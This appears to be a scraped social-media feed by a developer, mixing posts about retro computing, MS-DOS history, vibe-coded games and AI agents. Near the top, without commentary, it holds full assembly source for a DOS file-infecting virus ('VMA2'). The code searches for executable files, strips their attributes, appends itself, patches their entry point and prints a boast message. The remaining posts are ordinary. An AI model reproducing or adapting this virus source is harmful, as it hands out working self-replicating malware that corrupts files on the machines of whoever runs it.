Marian Veteanu

During school, I used to spend countless hours coding. Mastering Z80 assembly was one of my goals at the time. Besides writing code, I also disassembled games to extract various routines.

lungime equ ((offset sfirsit)-(offset entry)) .model tiny .code org 100h entry: call entr entr proc near pop bp sub bp,3 mov byte ptr [cale+2-entry+bp],'C' mov cx,5 mov si,offset header-entry add si,bp mov di,offset horig-entry add di,bp rep movsb mov ah,2ah int 21h cmp al,1 jnz urmat mov ah,9 mov dx,offset mesaj-entry add dx,bp int 21h urmat: mov ah,1ah mov dx,offset dta-entry add dx,bp int 21h mov ah,4eh mov dx,offset cale-entry add dx,bp mov cx,2 int 21h jc next open: mov ax,4300h mov dx,1eh+offset dta-entry add dx,bp int 21h mov atrib,cx mov ax,4301h xor cx,cx mov dx,1eh+offset dta-entry add dx,bp int 21h mov ax,3d02h mov dx,1eh+offset dta-entry add dx,bp int 21h next: jc next2 mov bx,ax mov dx,offset header-entry add dx,bp mov cx,5 mov ah,3fh int 21h jc close mov ax,0e2ffh cmp word ptr [header-entry+3+bp],ax jz close mov ax,4202h xor cx,cx xor dx,dx int 21h jc close add ax,256 mov cs:(offset hnou+1-entry)[bp],ax mov dx,bp mov cx,lungime mov ah,40h mov byte ptr [cale+2-entry+bp],'R' int 21h jc close mov ax,4200h xor cx,cx xor dx,dx int 21h jc close mov dx,offset hnou-entry add dx,bp mov cx,5 mov ah,40h int 21h close: mov ah,3eh int 21h mov cx,atrib mov ax,4301h mov dx,1eh+offset dta-entry add dx,bp int 21h next2: jc retu mov ah,4fh int 21h jc retu jmp open retu: mov cx,5 mov si,offset horig-entry add si,bp mov di,100h rep movsb mov dx,100h push dx retn cale db '*.ROM',0 atrib dw 0 mesaj db 13,10,' Your computer has now VMA2 virus !!!',13,10,'$' header db 0C3h,0C3h,0C3h,0C3h,0C3h hnou db 0BAh,0,0,0FFh,0E2h horig db 5 dup (0) dta db 43 dup (0) sfirsit: entr endp end entry

There's old, and then there's "I worked on MS-DOS" old. It's the last time I got paid to write in assembly. I was fortunate to come in towards the last versions of MS-DOS. But I still expect it'll give me some serious riz down at the old tech folk's home in a few years ;-) Everything that I knew of in MS-DOS was written in hand-coded x86 assembler, which I had never coded in (I was a 6502/68000/PDP guy). I learned fast enough, but came to really hate segments! We used MASM 2 as our assembler, even though I think the product had reached v5 by then. At some point, when your code is the de facto standard, you can't just start using a new assembler... that would generate different code, a backward compatibility nightmare. I used EDIT.COM, the simple thing built into MS-DOS, as my code editor, nothing fancy. White on blue. I forget now what the debugger was, probably CodeView? You'll notice I religiously say "MS-DOS" and not just "DOS". There was literally a jar you had to deposit money in if you were caught just saying "DOS". Old habits die hard. There were some legendary brains on that team, and especially when you're a fresh college hire, I got to imprint on some of the best. But if there's one thing Bill Gates taught me, it was never to name-drop.

According to Claude AI - Design, this is how the users screen of a LIMS application should look like.

Happily vibecoding...

@MarioNawfal @xai I'm interested in this Grok capability. What harness did you use? I built a collection of ~ 50 games with (mostly) AI. codeguppy.com/games/ The game you're showing is similar to some of mine...

🇺🇸 Grok 4.3 just built an entire game with one single prompt. Fastest output speed on the planet and beating Claude Sonnet 4.6 Max on Artificial Analysis. @xAI is cooking different.

Code is cheap now. AI can generate it in seconds. Here’s a collection of 50 mini games I mostly vibe-coded. (some are legacy hand-coded pieces): codeguppy.com/games/ Share your mini tool or game. Better yet, submit it to @shanselman's Tiny Tool Town tinytooltown.com

@shanselman Love your tinytooltown. Nice idea. I see that collection is growing nicely! Some are quite useful. Looking forward to see your presentation at Build.

Will you be at #MSBuild this year? Join us (and submit a Tiny Tool to tinytooltown.com )

@GoogleDeepMind @YouTube Those are cool Google DeepMind! Just played Tanks vs Planes :-) Here are mines: codeguppy.com/games/

We used Gemini 3 to create bite-sized demo games on @YouTube Playables with just a few simple prompts 🎮 Give them a try → goo.gle/485X5Ow

@MuseumCommodore Great post. Just ordered one... the ZX-Spectrum one for now. Still considering to add also the C64...

Hold onto your britches! You can now pre-order THEC64 HANDHELD!!!! I just ordered mine! Well, Blaze and Retro Games Ltd just made our childhood dream portable: THEC64 Handheld – a clamshell beauty inspired by those classic Nintendo handhelds we all lusted after back in the day. 4.3" IPS screen, proper tactile function keys that nod to the original keyboard, 25 killer pre-loaded games (See below), plus MicroSD support to load your own favorites. Even hooks up to a USB keyboard if you want the full experience on the go. It's like they took our beloved C64, shrunk it down, flipped it open like a 1980s portable organizer, and said "Load 'em up, kid." Perfect for reliving those epic sessions without tying up the TV. Man o' Man I can't wait until October! Here’s the full lineup of 25 built-in games: A Pig Quest Sam’s Journey Nebulus Boulder Dash Speedball 2: Brutal Deluxe Paradroid Hunter’s Moon Remastered Knight ‘n’ Grail Aztec Challenge Krakout Bruce Lee Druid Encounter! Galencia Ice Guys Metal Warrior Ultra Millie & Molly Planet Golf Shadow Switcher Spherical Squish ‘Em Steel Ranger X-Out Yeti Mountain It’s Magic 2 Who's ready to take the 64 on the road again? Pre-orders are live now – launching October 2026. Comment below if you place your pre-order using this link (I would love to know how many people I inspired to order). I will do a full breakdown video here on X when it arrives. Stay tuned for more Commodore and Amiga releases. (Link in comments to order)

@shanselman Microsoft should launch a traveling museum for schools, bringing artifacts from the home computing golden age into classrooms. Let kids see and touch the origins of tech.

The earliest DOS source code was found on printer paper in Tim Paterson's garage so we've open sourced it on 86-DOS 1.00’s 45th anniversary! This is next-level software archaeology for study, preservation, and plain ol’ curiosity. Go dig in and learn how it was recovered! #DOS #RetroComputing opensource.microsoft.com/blog/2026/04/2…

There’s an even simpler way to define an agent using a concept that’s starting to gain traction: the harness. As @addyosmani puts it: Agent = Model + Harness addyosmani.com/blog/agent-har…

When users build agents their activity is closer to Notion, Zapier, or Excel ... not software engineering: - - No coding (or very light prompting) - UI-driven creation - Immediate feedback

When devs build agents they build software systems This is close to how you’d design a SaaS feature or platform component. - You write code (Node.js, Python, etc.) - You orchestrate tools, APIs, workflows - You own architecture decisions

Agents’ are becoming an overloaded term. - For developers: engineered systems - For users: configured behaviors If you don’t separate these, you’ll misunderstand where the value is being created

LLMs are stateless. They don’t “remember” anything unless you send it each time. For simple chats, you can pass the full history. But for agents with memory, context fills up fast. Context engineering is the real frontier now. An OS like concept to manage context.

I heard a politician wants to introduce legislation to prevent LLMs from providing medical advice. How do you feel about this? Do you think it will reduce harm in the population, or some will benefit from this? Maybe @shanselman and Mark discuss the topic of AI regulation.

Where are you right now? 1. Spec-driven development 2. AI engineering 3. Vibecoding There’s a great&fun discussion on this topic between @shanselman and Mark Russinovitch: youtube.com/watch?v=IZRWzX…

One way to make your coding agent 10× more effective: give it a validation path. Building an API? Let it run the server and hit it with curl. Building a frontend? Use Chrome MCP or Playwright so it can see the browser.Agents don’t need more prompts... they need feedback.